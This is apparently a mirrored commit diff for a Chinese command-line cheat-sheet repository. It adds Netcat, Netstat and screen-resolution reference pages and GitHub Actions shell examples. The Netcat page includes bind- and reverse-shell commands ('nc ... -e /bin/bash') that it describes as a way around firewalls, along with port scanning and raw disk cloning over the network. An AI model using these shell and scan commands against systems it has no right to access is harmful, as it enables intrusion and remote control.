mirror of
https://github.com/jaywcjlove/reference.git
synced 2025-06-17 04:31:22 +08:00
Compare commits
8 Commits
Author | SHA1 | Date | |
---|---|---|---|
8d7cc05f4d | |||
4498add1f2 | |||
6c8e56ad61 | |||
ef976825e4 | |||
9d3a061bff | |||
cd1be27fae | |||
9774884614 | |||
c357f95bf0 |
@ -35,6 +35,7 @@ Quick Reference
|
||||
[Emmet](./docs/emmet.md)<!--rehype:style=background: rgb(122 203 23/var(\-\-bg\-opacity));-->
|
||||
[Styled Components](./docs/styled-components.md)<!--rehype:style=background: rgb(221 60 184/var(\-\-bg\-opacity));-->
|
||||
[Stylus](./docs/stylus.md)<!--rehype:style=background: rgb(109 161 63/var(\-\-bg\-opacity));-->
|
||||
[Sass](./docs/sass.md)<!--rehype:style=background: rgb(207 100 154/var(\-\-bg\-opacity));-->
|
||||
[HTML](./docs/html.md)<!--rehype:style=background: rgb(228 77 39/var(\-\-bg\-opacity));-->
|
||||
[JavaScript](./docs/javascript.md)<!--rehype:style=background: rgb(203 183 31/var(\-\-bg\-opacity));-->
|
||||
[Jest](./docs/jest.md)<!--rehype:style=background: rgb(153 66 91/var(\-\-bg\-opacity));-->
|
||||
@ -76,6 +77,8 @@ Quick Reference
|
||||
[find](./docs/find.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
|
||||
[htop](./docs/htop.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
|
||||
[Home Brew](./docs/homebrew.md)<!--rehype:style=background: rgb(252 185 87/var(\-\-bg\-opacity));-->
|
||||
[Netstat](./docs/netstat.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
|
||||
[Netcat](./docs/netcat.md)<!--rehype:style=background: rgb(4 92 135/var(\-\-bg\-opacity));-->
|
||||
[Sed](./docs/sed.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
|
||||
[SSH](./docs/ssh.md)<!--rehype:style=background: rgb(99 99 99/var(\-\-bg\-opacity));-->
|
||||
[Screen](./docs/screen.md)<!--rehype:style=background: rgb(99 99 99/var(\-\-bg\-opacity));-->
|
||||
@ -89,6 +92,7 @@ Quick Reference
|
||||
[HTTP 状态码](./docs/http-status-code.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
|
||||
[HTML 字符实体](./docs/html-char.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
|
||||
[Emoji](./docs/emoji.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
|
||||
[Resolutions](./docs/resolutions.md)<!--rehype:style=background: rgb(16 185 129/var(\-\-bg\-opacity));-->
|
||||
<!--rehype:class=home-card-->
|
||||
|
||||
## 看到缺少什么了吗?
|
||||
|
@ -1,7 +1,7 @@
|
||||
Git 备忘清单
|
||||
===
|
||||
|
||||
本备忘单总结了常用的 Git 命令行指令,以供快速参考。
|
||||
本备忘单总结了常用的 [Git](https://git-scm.com/) 命令行指令,以供快速参考。
|
||||
|
||||
入门
|
||||
----
|
||||
|
@ -767,6 +767,54 @@ jobs:
|
||||
name: output-log-file
|
||||
```
|
||||
|
||||
### 指定运行命令的工作目录
|
||||
|
||||
```yml {3}
|
||||
- name: Clean temp directory
|
||||
run: rm -rf *
|
||||
working-directory: ./temp
|
||||
```
|
||||
|
||||
使用 `working-directory` 关键字,您可以指定运行命令的工作目录(`./temp`)
|
||||
|
||||
#### defaults.run
|
||||
|
||||
```yml {4,5,7}
|
||||
jobs:
|
||||
job1:
|
||||
runs-on: ubuntu-latest
|
||||
defaults:
|
||||
run:
|
||||
shell: bash
|
||||
working-directory: scripts
|
||||
```
|
||||
|
||||
作业中的所有 `run` 步骤提供默认的 `shell` 和 `working-directory`
|
||||
|
||||
### jobs.<job_id>.steps[*].shell
|
||||
|
||||
使用 `bash` 运行脚本
|
||||
|
||||
```yml {4}
|
||||
steps:
|
||||
- name: Display the path
|
||||
run: echo $PATH
|
||||
shell: bash
|
||||
```
|
||||
|
||||
运行 `python` 脚本
|
||||
|
||||
```yml {6}
|
||||
steps:
|
||||
- name: Display the path
|
||||
run: |
|
||||
import os
|
||||
print(os.environ['PATH'])
|
||||
shell: python
|
||||
```
|
||||
|
||||
您可以使用 `shell` 关键字覆盖运行器操作系统中的默认 `shell` 设置
|
||||
|
||||
另见
|
||||
---
|
||||
|
||||
|
231
docs/netcat.md
Normal file
231
docs/netcat.md
Normal file
@ -0,0 +1,231 @@
|
||||
Netcat 备忘清单
|
||||
===
|
||||
|
||||
该备忘单提供了在 Linux 和 Unix 上使用 Netcat 的各种方法。
|
||||
|
||||
入门
|
||||
------
|
||||
<!--rehype:body-class=cols-5-->
|
||||
|
||||
### 用法
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
连接到位于任何地方的主机
|
||||
|
||||
```shell
|
||||
$ nc [options] [host] [port]
|
||||
```
|
||||
|
||||
监听传入连接
|
||||
|
||||
```shell
|
||||
$ nc -lp port [host] [port]
|
||||
```
|
||||
|
||||
### 选项示例
|
||||
<!--rehype:wrap-class=col-span-3 row-span-2-->
|
||||
|
||||
|
||||
选项 | 示例 | 说明
|
||||
:- | :- | :-
|
||||
`-h` | nc -h | 帮助
|
||||
`-z` | nc -z 192.168.1.9 1-100 | 端口扫描主机或 `IP` 地址
|
||||
`-v` | nc -zv 192.168.1.9 1-100 | 提供详细输出
|
||||
`-n` | nc -zn 192.168.1.9 1-100 | 通过禁用 `DNS` 解析进行快速扫描
|
||||
`-l` | nc -lp 8000 | `TCP` 侦听模式 _(用于入站连接)_
|
||||
`-w` | nc -w 180 192.168.1.9 8000 | 定义超时值
|
||||
`-k` | nc -kl 8000 | 断线后继续收听
|
||||
`-u` | nc -u 192.168.1.9 8000 | 使用 `UDP` 而不是 `TCP`
|
||||
`-q` | nc -q 1 192.168.1.9 8000 | 客户在 `EOF` 后熬夜
|
||||
`-4` | nc -4 -l 8000 | 仅限 `IPv4`
|
||||
`-6` | nc -6 -l 8000 | 仅限 `IPv6`
|
||||
|
||||
|
||||
### 聊天客户端-服务器
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
服务器 Server (192.168.1.9)
|
||||
|
||||
```shell
|
||||
$ nc -lv 8000
|
||||
```
|
||||
|
||||
客户端 Client
|
||||
|
||||
```shell
|
||||
$ nc 192.168.1.9 8000
|
||||
```
|
||||
|
||||
Netcat 示例
|
||||
--------
|
||||
|
||||
### Banner 抓取
|
||||
|
||||
```shell
|
||||
$ nc website.com 80
|
||||
GET index.html HTTP/1.1
|
||||
HEAD / HTTP/1.1
|
||||
```
|
||||
|
||||
或者
|
||||
|
||||
```shell
|
||||
echo "" | nc -zv -wl 192.168.1.1 801-805
|
||||
```
|
||||
|
||||
### 端口扫描
|
||||
|
||||
扫描 `21` 到 `25` 之间的端口
|
||||
|
||||
```shell
|
||||
$ nc -zvn 192.168.1.1 21-25
|
||||
```
|
||||
|
||||
扫描端口 `22`、`3306` 和 `8080`
|
||||
|
||||
```shell
|
||||
$ nc -zvn 192.168.1.1 22 3306 8080
|
||||
```
|
||||
|
||||
### 代理和端口转发
|
||||
|
||||
```shell
|
||||
$ nc -lp 8001 -c "nc 127.0.0.1 8000"
|
||||
```
|
||||
|
||||
或者
|
||||
|
||||
```shell
|
||||
$ nc -l 8001 | nc 127.0.0.1 8000
|
||||
```
|
||||
|
||||
创建从一个本地端口到另一个本地端口的隧道
|
||||
|
||||
### 下载文件
|
||||
|
||||
服务器 Server (192.168.1.9)
|
||||
|
||||
```shell
|
||||
$ nc -lv 8000 < file.txt
|
||||
```
|
||||
|
||||
客户端 Client
|
||||
|
||||
```shell
|
||||
$ nc -nv 192.168.1.9 8000 > file.txt
|
||||
```
|
||||
|
||||
假设您想将文件 `file.txt` 从服务器 A 传输到客户端 B。
|
||||
|
||||
### 上传文件
|
||||
|
||||
服务器 Server (192.168.1.9)
|
||||
|
||||
```shell
|
||||
$ nc -lv 8000 > file.txt
|
||||
```
|
||||
|
||||
客户端 Client
|
||||
|
||||
```shell
|
||||
$ nc 192.168.1.9 8000 < file.txt
|
||||
```
|
||||
|
||||
假设您想将文件 `file.txt` 从客户端 `B` 传输到服务器 `A`
|
||||
|
||||
### 目录传输
|
||||
|
||||
服务器 Server (192.168.1.9)
|
||||
|
||||
```shell
|
||||
$ tar -cvf – dir_name | nc -l 8000
|
||||
```
|
||||
|
||||
客户端 Client
|
||||
|
||||
```shell
|
||||
$ nc -n 192.168.1.9 8000 | tar -xvf -
|
||||
```
|
||||
|
||||
假设您想通过网络将目录从 `A` 传输到 `B`
|
||||
|
||||
### 加密传输
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
服务器 Server (192.168.1.9)
|
||||
|
||||
```shell
|
||||
$ nc -l 8000 | openssl enc -d -des3 -pass pass:password > file.txt
|
||||
```
|
||||
|
||||
客户端 Client
|
||||
|
||||
```shell
|
||||
$ openssl enc -des3 -pass pass:password | nc 192.168.1.9 8000
|
||||
```
|
||||
|
||||
在通过网络传输之前加密数据
|
||||
|
||||
### 克隆
|
||||
|
||||
服务器 Server (192.168.1.9)
|
||||
|
||||
```shell
|
||||
$ dd if=/dev/sda | nc -l 8000
|
||||
```
|
||||
|
||||
客户端 Client
|
||||
|
||||
```shell
|
||||
$ nc -n 192.168.1.9 8000 | dd of=/dev/sda
|
||||
```
|
||||
|
||||
克隆 linux PC 非常简单。假设你的系统盘是 /dev/sda
|
||||
|
||||
### 视频流
|
||||
|
||||
服务器 Server (192.168.1.9)
|
||||
|
||||
```shell
|
||||
$ cat video.avi | nc -l 8000
|
||||
```
|
||||
|
||||
客户端 Client
|
||||
|
||||
```shell {.wrap}
|
||||
$ nc 192.168.1.9 8000 | mplayer -vo x11 -cache 3000 -
|
||||
```
|
||||
|
||||
使用 netcat 流式传输视频
|
||||
|
||||
### 远程 shell
|
||||
|
||||
服务器 Server (192.168.1.9)
|
||||
|
||||
```shell
|
||||
$ nc -lv 8000 -e /bin/bash
|
||||
```
|
||||
|
||||
客户端 Client
|
||||
|
||||
```shell
|
||||
$ nc 192.168.1.9 8000
|
||||
```
|
||||
|
||||
我们已经使用 `telnet` 和 `ssh` 使用远程 `Shell`,但是如果它们没有安装并且我们没有安装它们的权限,那么我们也可以使用 `netcat` 创建远程 `shell`
|
||||
|
||||
### 逆转 shell
|
||||
|
||||
服务器 Server (192.168.1.9)
|
||||
|
||||
```shell
|
||||
$ nc -lv 8000
|
||||
```
|
||||
|
||||
客户端 Client
|
||||
|
||||
```shell
|
||||
$ nc 192.168.1.9 8000 -v -e /bin/bash
|
||||
```
|
||||
|
||||
反向 `shell` 通常用于绕过防火墙限制,例如阻止入站连接
|
209
docs/netstat.md
Normal file
209
docs/netstat.md
Normal file
@ -0,0 +1,209 @@
|
||||
Netstat 备忘清单
|
||||
===
|
||||
|
||||
此快速参考备忘单提供了各种使用 netstat 命令的方法
|
||||
|
||||
入门
|
||||
-----
|
||||
|
||||
### 入门实例
|
||||
|
||||
端口 80 上的所有连接
|
||||
|
||||
```shell
|
||||
$ netstat -anp | grep :80
|
||||
```
|
||||
|
||||
网络统计帮助
|
||||
|
||||
```shell
|
||||
$ netstat -h
|
||||
```
|
||||
|
||||
### 监听
|
||||
|
||||
选项 | 说明
|
||||
:- | :-
|
||||
`netstat -ltunp` | 所有监听端口
|
||||
`netstat -ltn` | 监听 TCP 端口
|
||||
`netstat -lun` | 监听 UDP 端口
|
||||
`netstat -lx` | 监听 Unix 端口
|
||||
`netstat -lt` | 仅列出侦听 TCP 端口
|
||||
`netstat -lu` | 仅列出侦听 UDP 端口
|
||||
`netstat -l` | 列出所有监听条件
|
||||
|
||||
### 连接
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
选项 | 说明
|
||||
:- | :-
|
||||
`netstat -a` | 所有连接
|
||||
`netstat -at` | 所有 TCP 连接
|
||||
`netstat -au` | 所有 UDP 连接
|
||||
`netstat -ant` | 显示没有反向 DNS 查找的 IP 地址
|
||||
|
||||
|
||||
选项 | 说明
|
||||
:- | :-
|
||||
`netstat` | 活动连接
|
||||
`netstat -a` | 所有连接
|
||||
`netstat -at` | 所有 TCP 连接
|
||||
`netstat -au` | 所有 UDP 连接
|
||||
`netstat -ant` | 显示没有反向 DNS 查找的 IP 地址
|
||||
`netstat -tnl` | 监听 TCP 端口
|
||||
`netstat -unl` | 监听 UDP 端口
|
||||
|
||||
|
||||
### 网络
|
||||
|
||||
选项 | 说明
|
||||
:- | :-
|
||||
`netstat -i` | 显示网络接口
|
||||
`netstat -ie` | 显示网络接口扩展信息
|
||||
`netstat -n` | 仅显示 IP 地址
|
||||
`netstat -F` | 尽可能显示 IP 地址的域名
|
||||
|
||||
### 路由
|
||||
|
||||
|
||||
选项 | 说明
|
||||
:- | :-
|
||||
`netstat -r` | 显示路由表
|
||||
`netstat -rn` | 显示路由表,不解析主机
|
||||
|
||||
### 统计数据
|
||||
<!--rehype:wrap-class=row-span-3-->
|
||||
|
||||
选项 | 说明
|
||||
:- | :-
|
||||
`netstat -s` | 显示统计信息
|
||||
`netstat -st` | 显示 TCP 统计信息
|
||||
`netstat -su` | 显示 UDP 统计信息
|
||||
`netstat -ltpe` | 使用进程信息和扩展信息显示 TCP 的侦听连接
|
||||
`netstat -tp` | 显示带有 PID 编号的服务名称
|
||||
`sudo netstat -nlpt` | 列出进程名称/PID 和用户 ID
|
||||
`netstat -nlptue` | 所有带有 PID 和扩展信息的侦听端口
|
||||
`netstat -M` | 显示伪装的连接
|
||||
|
||||
### 显示没有域名的 TCP 连接
|
||||
|
||||
```bash
|
||||
$ netstat --tcp --numeric
|
||||
```
|
||||
|
||||
### 显示活动/已建立的连接
|
||||
|
||||
```bash
|
||||
$ netstat -atnp | grep ESTA
|
||||
```
|
||||
|
||||
### 获取活动连接的连续列表
|
||||
|
||||
```bash
|
||||
$ watch -d -n0 "netstat -atnp | grep ESTA"
|
||||
```
|
||||
|
||||
### 显示到特定端口的所有打开连接
|
||||
|
||||
```bash
|
||||
$ netstat -anp | grep":"
|
||||
```
|
||||
|
||||
插入`端口`号(上图)代替冒号 `:`
|
||||
|
||||
### 检查服务是否正在运行
|
||||
|
||||
```bash
|
||||
$ sudo netstat -aple | grep ntp
|
||||
```
|
||||
|
||||
你可以用`http`、`smtp`代替`ntp`
|
||||
|
||||
Netstat – 安全命令
|
||||
---
|
||||
|
||||
### 显示具有大量连接的 IP
|
||||
<!--rehype:wrap-class=col-span-3-->
|
||||
|
||||
```bash
|
||||
$ netstat -tn 2>/dev/null | grep :80 | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -nr | head
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
### 连接到端口 80 的 IP 地址
|
||||
<!--rehype:wrap-class=col-span-3-->
|
||||
|
||||
```bash
|
||||
$ netstat -tn 2>/dev/null | grep ':80 ' | awk '{print $5}' |sed -e 's/::ffff://' | cut -f1 -d: | sort | uniq -c | sort -rn | head
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
### 显示端口 80 上的活动连接数
|
||||
|
||||
```bash
|
||||
$ netstat -an |grep :80 |wc -l
|
||||
```
|
||||
|
||||
### 仅显示外部 IP 地址
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
```bash
|
||||
$ netstat -antu | grep :80 | grep -v LISTEN | awk '{print $5}'
|
||||
```
|
||||
|
||||
### 显示活动 SYNC_REC
|
||||
<!--rehype:wrap-class=row-span-2-->
|
||||
|
||||
以下命令将输出服务器上正在发生和正在发生的活动 `SYNC_REC` 数量。数量应该很低(小于 `5`)。如果该数字为两位数,则您可能正在遭受 `DoS` 攻击或被邮件轰炸。
|
||||
|
||||
```bash
|
||||
$ netstat -n -p|grep SYN_REC | wc -l
|
||||
```
|
||||
|
||||
#### 列出发送 SYN_REC 连接的唯一 IP 地址
|
||||
|
||||
```bash
|
||||
$ netstat -n -p | grep SYN_REC | awk '{print $5}' | awk -F: '{print $1}'
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
与上面的命令一样,该命令也列出了发送 `SYN_REC` 连接状态的节点的所有唯一 `IP` 地址
|
||||
|
||||
### 每个远程 IP 的连接数
|
||||
<!--rehype:wrap-class=col-span-2-->
|
||||
|
||||
```bash
|
||||
$ netstat -antu | awk '{print $5}' | awk -F: '{print $1}' | sort | uniq -c | sort -n
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
或者
|
||||
|
||||
```bash
|
||||
$ netstat -antu | awk '$5 ~ /[0-9]:/{split($5, a, ":"); ips[a[1]]++} END {for (ip in ips) print ips[ip], ip | "sort -k1 -nr"}'
|
||||
```
|
||||
<!--rehype:className=wrap-text -->
|
||||
|
||||
### 检查开放端口(ipv4 和 ipv6)
|
||||
|
||||
```bash
|
||||
$ netstat -plntu
|
||||
```
|
||||
|
||||
### 检查开放端口(ipv4 和 ipv6)
|
||||
|
||||
```bash
|
||||
$ netstat -plnt
|
||||
```
|
||||
|
||||
### 每个 IP 的打开连接数
|
||||
|
||||
```bash
|
||||
$ netstat -an | grep 80 | wc -l
|
||||
```
|
||||
|
||||
### 活跃的互联网连接
|
||||
|
||||
```bash
|
||||
$ netstat -pnut -w | column -t -s $'\t'
|
||||
```
|
278
docs/resolutions.md
Normal file
278
docs/resolutions.md
Normal file
@ -0,0 +1,278 @@
|
||||
Resolutions 备忘清单
|
||||
===
|
||||
|
||||
此备忘清单列出了流行手机、平板电脑、笔记本电脑和手表的屏幕尺寸、可视窗口尺寸和 CSS 媒体查询
|
||||
|
||||
入门
|
||||
------
|
||||
|
||||
### 介绍
|
||||
<!--rehype:style=display:none;&wrap-style=padding-top:0;&wrap-class=col-span-3-->
|
||||
|
||||
- 分辨率是像素数(单个颜色点)
|
||||
- 可视窗口由屏幕上网页填充的矩形大小定义
|
||||
- 屏幕分辨率是指屏幕上显示的文本和图像的清晰度
|
||||
- 用于设计
|
||||
<!--rehype:className=style-round-->
|
||||
|
||||
解析度清单列表
|
||||
------
|
||||
|
||||
### 手机
|
||||
<!--rehype:wrap-class=col-span-3-->
|
||||
|
||||
| 设备 | 屏幕尺寸 | 解析度 | 可视窗口 | 密度 | 设备密度 | 比率 | 系统 |
|
||||
|----------------------|----------------------|---------------------------|--------------------------|--------------------|--------------------|----------------------|-----------------|
|
||||
| Apple iPhone 11 (2019) | 6.1 <sub>inch</sub> | 828 x 1792 <sub>px</sub> | 414 x 896 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | iOS 13.0 |
|
||||
| Apple iPhone 11 Pro (2019) | 5.8 <sub>inch</sub> | 1125 x 2436 <sub>px</sub> | 375 x 812 <sub>px</sub> | 458 <sub>ppi</sub> | 153 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | iOS 13.0 |
|
||||
| Apple iPhone 11 Pro Max (2019) | 6.5 <sub>inch</sub> | 1242 x 2688 <sub>px</sub> | 414 x 896 <sub>px</sub> | 458 <sub>ppi</sub> | 153 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | iOS 13.0 |
|
||||
| Apple iPhone 12 (2020) | 6.1 <sub>inch</sub> | 1170 x 2532 <sub>px</sub> | 390 x 844 <sub>px</sub> | 460 <sub>ppi</sub> | 153 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | iOS 14.1 |
|
||||
| Apple iPhone 12 Pro (2020) | 6.1 <sub>inch</sub> | 1170 x 2532 <sub>px</sub> | 390 x 844 <sub>px</sub> | 460 <sub>ppi</sub> | 153 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | iOS 14.1 |
|
||||
| Apple iPhone 12 Pro Max (2020) | 6.7 <sub>inch</sub> | 1284 x 2778 <sub>px</sub> | 428 x 926 <sub>px</sub> | 458 <sub>ppi</sub> | 153 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | iOS 14.1 |
|
||||
| Apple iPhone 12 mini (2020) | 5.4 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 360 x 780 <sub>px</sub> | 476 <sub>ppi</sub> | 159 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | iOS 14.1 |
|
||||
| Apple iPhone 5 | 4 <sub>inch</sub> | 640 x 1136 <sub>px</sub> | 320 x 568 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 6 |
|
||||
| Apple iPhone 5c | 4 <sub>inch</sub> | 640 x 1136 <sub>px</sub> | 320 x 568 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 7 |
|
||||
| Apple iPhone 5s | 4 <sub>inch</sub> | 640 x 1136 <sub>px</sub> | 320 x 568 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 7 |
|
||||
| Apple iPhone 6 | 4.7 <sub>inch</sub> | 750 x 1334 <sub>px</sub> | 375 x 667 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 8 |
|
||||
| Apple iPhone 6s | 4.7 <sub>inch</sub> | 750 x 1334 <sub>px</sub> | 375 x 667 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 9 |
|
||||
| Apple iPhone 6s Plus | 5.5 <sub>inch</sub> | 1080 x 1920 <sub>px</sub> | 414 x 736 <sub>px</sub> | 401 <sub>ppi</sub> | 134 <sub>ppi</sub> | 3.0 <sub>xxhdpi</sub> | iOS 9 |
|
||||
| Apple iPhone 7 | 4.7 <sub>inch</sub> | 750 x 1334 <sub>px</sub> | 375 x 667 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 10.0.1 |
|
||||
| Apple iPhone 7 Plus | 5.5 <sub>inch</sub> | 1080 x 1920 <sub>px</sub> | 414 x 736 <sub>px</sub> | 401 <sub>ppi</sub> | 134 <sub>ppi</sub> | 3.0 <sub>xxhdpi</sub> | iOS 10.0.1 |
|
||||
| Apple iPhone 8 | 4.7 <sub>inch</sub> | 750 x 1334 <sub>px</sub> | 375 x 667 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 11 |
|
||||
| Apple iPhone 8 Plus | 5.5 <sub>inch</sub> | 1080 x 1920 <sub>px</sub> | 414 x 736 <sub>px</sub> | 401 <sub>ppi</sub> | 134 <sub>ppi</sub> | 3.0 <sub>xxhdpi</sub> | iOS 11 |
|
||||
| Apple iPhone SE | 4.0 <sub>inch</sub> | 640 x 1136 <sub>px</sub> | 320 x 568 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | iOS 9.3.2 |
|
||||
| Apple iPhone SE (2020) | 4.7 <sub>inch</sub> | 750 x 1334 <sub>px</sub> | 375 x 667 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2 <sub>xhdpi</sub> | iOS 13.0 |
|
||||
| Apple iPhone X | 5.8 <sub>inch</sub> | 1125 x 2436 <sub>px</sub> | 375 x 812 <sub>px</sub> | 458 <sub>ppi</sub> | 153 <sub>ppi</sub> | 3.0 <sub>xxhdpi</sub> | iOS 11.1.1 |
|
||||
| Apple iPhone XR | 6.1 <sub>inch</sub> | 828 x 1792 <sub>px</sub> | 414 x 896 <sub>px</sub> | 326 <sub>ppi</sub> | 163 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | iOS 12 |
|
||||
| Apple iPhone XS | 5.8 <sub>inch</sub> | 1125 x 2436 <sub>px</sub> | 375 x 812 <sub>px</sub> | 458 <sub>ppi</sub> | 153 <sub>ppi</sub> | 3.0 <sub>xxhdpi</sub> | iOS 12 |
|
||||
| Apple iPhone XS Max | 6.5 <sub>inch</sub> | 1242 x 2688 <sub>px</sub> | 414 x 896 <sub>px</sub> | 458 <sub>ppi</sub> | 153 <sub>ppi</sub> | 3.0 <sub>xxhdpi</sub> | iOS 12 |
|
||||
| Google Pixel | 5.0 <sub>inch</sub> | 1080 x 1920 <sub>px</sub> | 412 x 732 <sub>px</sub> | 441 <sub>ppi</sub> | 168 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 7.1 |
|
||||
| Google Pixel | 5.0 <sub>inch</sub> | 1080 x 1920 <sub>px</sub> | 411 x 731 <sub>px</sub> | 441 <sub>ppi</sub> | 168 <sub>ppi</sub> | 2.6 <sub>xxhdpi</sub> | Android 7.1 |
|
||||
| Google Pixel 2 | 5.0 <sub>inch</sub> | 1080 x 1920 <sub>px</sub> | 412 x 732 <sub>px</sub> | 441 <sub>ppi</sub> | 168 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 8.0 |
|
||||
| Google Pixel 2 XL | 6.0 <sub>inch</sub> | 1440 x 2880 <sub>px</sub> | | 538 <sub>ppi</sub> | 154 <sub>ppi</sub> | 3.5 <sub>xxxhdpi</sub> | Android 8.0 |
|
||||
| Google Pixel 3 (2018) | 5.5 <sub>inch</sub> | 1080 x 2160 <sub>px</sub> | 393 x 786 <sub>px</sub> | 443 <sub>ppi</sub> | 161 <sub>ppi</sub> | 2.75 <sub>xxhdpi</sub> | Android 9.0 |
|
||||
| Google Pixel 3 XL (2018) | 6.3 <sub>inch</sub> | 1440 x 2960 <sub>px</sub> | 412 x 846 <sub>px</sub> | 523 <sub>ppi</sub> | 149 <sub>ppi</sub> | 3.5 <sub>xxxhdpi</sub> | Android 9.0 |
|
||||
| Google Pixel 3a (2019) | 5.6 <sub>inch</sub> | 1080 x 2220 <sub>px</sub> | 393 x 808 <sub>px</sub> | 441 <sub>ppi</sub> | 160 <sub>ppi</sub> | 2.75 <sub>xxhdpi</sub> | Android 9.0 |
|
||||
| Google Pixel 3a XL (2019) | 6 <sub>inch</sub> | 1080 x 2160 <sub>px</sub> | 412 x 823 <sub>px</sub> | 402 <sub>ppi</sub> | 153 <sub>ppi</sub> | 2.625 <sub>xxhdpi</sub> | Android 9.0 |
|
||||
| Google Pixel 4 (2019) | 5.7 <sub>inch</sub> | 1080 x 2280 <sub>px</sub> | 393 x 830 <sub>px</sub> | 444 <sub>ppi</sub> | 161 <sub>ppi</sub> | 2.75 <sub>xxhdpi</sub> | Android 10.0 |
|
||||
| Google Pixel 4 XL (2019) | 6.3 <sub>inch</sub> | 1440 x 3040 <sub>px</sub> | 412 x 869 <sub>px</sub> | 537 <sub>ppi</sub> | 153 <sub>ppi</sub> | 3.5 <sub>xxxhdpi</sub> | Android 10 |
|
||||
| Google Pixel 4a (2020) | 5.81 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 393 x 851 <sub>px</sub> | 443 <sub>ppi</sub> | 161 <sub>ppi</sub> | 2.75 <sub>xxhdpi</sub> | Android 10.0 |
|
||||
| Google Pixel 5 (2020) | 6 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 393 x 851 <sub>px</sub> | 432 <sub>ppi</sub> | 157 <sub>ppi</sub> | 2.75 <sub>xxhdpi</sub> | Android 11.0 |
|
||||
| Google Pixel XL | 5.5 <sub>inch</sub> | 1440 x 2560 <sub>px</sub> | | 534 <sub>ppi</sub> | 153 <sub>ppi</sub> | 3.5 <sub>xxxhdpi</sub> | Android 7.1 |
|
||||
| HTC Desire 10 Lifestyle | 5.5 <sub>inch</sub> | 720 x 1280 <sub>px</sub> | 360 x 640 <sub>px</sub> | 267 <sub>ppi</sub> | 134 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | Android 6.0 |
|
||||
| HTC Desire 628 | 5.0 <sub>inch</sub> | 720 x 1280 <sub>px</sub> | 360 x 640 <sub>px</sub> | 294 <sub>ppi</sub> | 147 <sub>ppi</sub> | 2.0 <sub>xhdpi</sub> | Android 5.1 |
|
||||
| Honor 6X (2016) | 5.5 <sub>inch</sub> | 1080 x 1920 <sub>px</sub> | 360 x 640 <sub>px</sub> | 403 <sub>ppi</sub> | 134 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | Android 6.0 |
|
||||
| Honor 7X (2017) | 5.93 <sub>inch</sub> | 1080 x 2160 <sub>px</sub> | 360 x 720 <sub>px</sub> | 407 <sub>ppi</sub> | 136 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | Android 7.0 |
|
||||
| Honor 8X (2018) | 6.5 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 360 x 780 <sub>px</sub> | 397 <sub>ppi</sub> | 132 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | Android 8.1 |
|
||||
| Honor 9X (2019) | 6.59 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 360 x 780 <sub>px</sub> | 391 <sub>ppi</sub> | 130 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | Android 9.0 |
|
||||
| Huawei Mate 10 Lite (2017) | 5.9 <sub>inch</sub> | 1080 x 2160 <sub>px</sub> | 360 x 720 <sub>px</sub> | 409 <sub>ppi</sub> | 136 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | Android 7.0 |
|
||||
| Huawei Mate 20 Lite (2018) | 6.3 <sub>inch</sub> | 1080 x 2340 <sub>px</sub> | 360 x 780 <sub>px</sub> | 409 <sub>ppi</sub> | 136 <sub>ppi</sub> | 3 <sub>xxhdpi</sub> | Android 8.1 |
|
||||
